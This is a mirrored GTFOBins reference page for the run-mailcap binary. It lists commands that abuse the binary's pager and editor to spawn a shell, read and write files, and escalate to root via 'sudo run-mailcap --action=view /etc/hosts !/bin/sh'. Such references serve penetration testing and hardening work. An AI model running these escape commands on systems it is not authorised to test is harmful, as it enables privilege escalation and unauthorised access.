1
0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2024-11-08 07:49:17 +01:00
GTFOBins.github.io/_gtfobins/run-mailcap.md
2018-11-19 14:04:01 +01:00

884 B

functions
shell file-read file-write sudo
description code
This invokes the default pager, which is likely to be [`less`](/gtfobins/less/), other functions may apply. run-mailcap --action=view /etc/hosts !/bin/sh
description code
This invokes the default pager, which is likely to be [`less`](/gtfobins/less/), other functions may apply. run-mailcap --action=view file_to_read
description code
The file must exist and be not empty. This invokes the default editor, which is likely to be [`vi`](/gtfobins/vi/), other functions may apply. run-mailcap --action=edit file_to_read
description code
This invokes the default pager, which is likely to be [`less`](/gtfobins/less/), other functions may apply. sudo run-mailcap --action=view /etc/hosts !/bin/sh